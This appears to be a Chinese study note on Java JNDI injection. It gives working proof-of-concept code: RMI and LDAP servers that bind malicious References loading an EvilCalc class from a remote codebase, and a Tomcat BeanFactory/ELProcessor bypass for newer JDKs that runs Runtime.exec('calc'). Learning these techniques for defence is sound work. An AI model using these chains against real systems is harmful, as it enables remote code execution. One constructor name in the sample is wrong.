JNDI注入学习
参考:
从文档开始的jndi注入之路
openJDK之如何下载各个版本的openJDK源码
JNDI+RMI
代码
IRemoteObj
package cn.evo1ution;
import java.rmi.Remote; import java.rmi.RemoteException;
public interface IRemoteObj extends Remote { public String sayHello(String keywords) throws RemoteException; }
|
RemoteObjImpl
package cn.evo1ution;
import java.rmi.RemoteException; import java.rmi.server.UnicastRemoteObject;
public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{ public RemoteObjImpl() throws RemoteException {
}
@Override public String sayHello(String keywords) throws RemoteException { String upKeywords = keywords.toUpperCase(); System.out.println(upKeywords); return upKeywords; } }
|
RMIServer
package cn.evo1ution;
import java.rmi.AlreadyBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer { public static void main(String[] args) throws RemoteException, AlreadyBoundException { IRemoteObj remoteObj = new RemoteObjImpl(); Registry registry = LocateRegistry.createRegistry(10999); registry.bind("remoteObj",remoteObj); } }
|
RMIClient
package cn.evo1ution;
import java.rmi.NotBoundException; import java.rmi.RemoteException; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIClient { public static void main(String[] args) throws RemoteException, NotBoundException { Registry registry = LocateRegistry.getRegistry("127.0.0.1",10999); IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj"); remoteObj.sayHello("hello"); } }
|
JNDIRMIServer
package cn.evo1ution;
import javax.naming.Context; import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.Reference; import java.rmi.RemoteException;
public class JNDIRMIServer { public static void main(String[] args) throws NamingException, RemoteException { InitialContext initialContext = new InitialContext();
Reference reference = new Reference("EvilCalc", "EvilCalc", "http://localhost:7777/"); initialContext.rebind("rmi://localhost:10999/remoteObj",reference); } }
|
JNDIRMIClient
package cn.evo1ution;
import javax.naming.InitialContext; import javax.naming.NamingException; import java.rmi.RemoteException;
public class JNDIRMIClient { public static void main(String[] args) throws NamingException, RemoteException { InitialContext initialContext = new InitialContext(); IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:10999/remoteObj"); System.out.println(remoteObj.sayHello("hello"));
} }
|
EvilCalc
只保留该类的class
即可
import java.io.IOException;
public class EvilCalc { public Calc() throws IOException { Runtime.getRuntime().exec("calc"); } }
|
流程分析
看不到jndi
源码,只能看到反编译源码的解决方案:点击https://hg.openjdk.org/jdk8/jdk8/jdk/
页面左侧的zip
下载所有源码(找一下自己对应的版本),把里面jdk-687fd7c7986d\src\share\classes\com\sun\jndi
文件夹整个复制到jdk1.8.0_65\src\com\sun
目录下,重新打开下idea
即可,一些操作可以参考这篇博客和openJDK之如何下载各个版本的openJDK源码。
断点下在JNDIRMIClient
,本地在恶意类所在目录开一个服务,然后从lookup
开始调试
JNDI+LDAP
代码
Java版本为8u141
JNDILDAPServer
package cn.evo1ution;
import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.Reference;
public class JNDILDAPServer { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); Reference reference = new Reference("EvilCalc", "EvilCalc", "http://localhost:7777/"); initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com",reference); } }
|
JNDILDAPClient
package cn.evo1ution;
import javax.naming.InitialContext; import javax.naming.NamingException;
public class JNDILDAPClient { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com"); } }
|
ApacheDirectoryStudio
如果遇到什么奇葩问题(比如明明端口没被占用说被占用了)解决不了建议试试重启电脑
流程分析
断点下在JNDILDAPClient
,本地在恶意类所在目录开一个服务,然后从lookup
开始调试
JNDI+RMI高版本绕过
代码
Java版本为8u241
JNDIRMIServerBypass
package cn.evo1ution;
import org.apache.naming.ResourceRef;
import javax.naming.InitialContext; import javax.naming.NamingException; import javax.naming.StringRefAddr;
public class JNDIRMIServerBypass { public static void main(String[] args) throws NamingException { InitialContext initialContext = new InitialContext(); ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null); resourceRef.add(new StringRefAddr("forceString","x=eval")); resourceRef.add(new StringRefAddr("x","Runtime.getRuntime().exec('calc')")); initialContext.rebind("rmi://localhost:10999/remoteObj",resourceRef); } }
|
Test
import javax.naming.InitialContext; import javax.naming.NamingException;
public class Test { public static void main(String[] args) throws NamingException { InitialContext initialContext=new InitialContext(); initialContext.lookup("rmi://localhost:10999/remoteObj"); } }
|
流程分析
老样子,从look
开始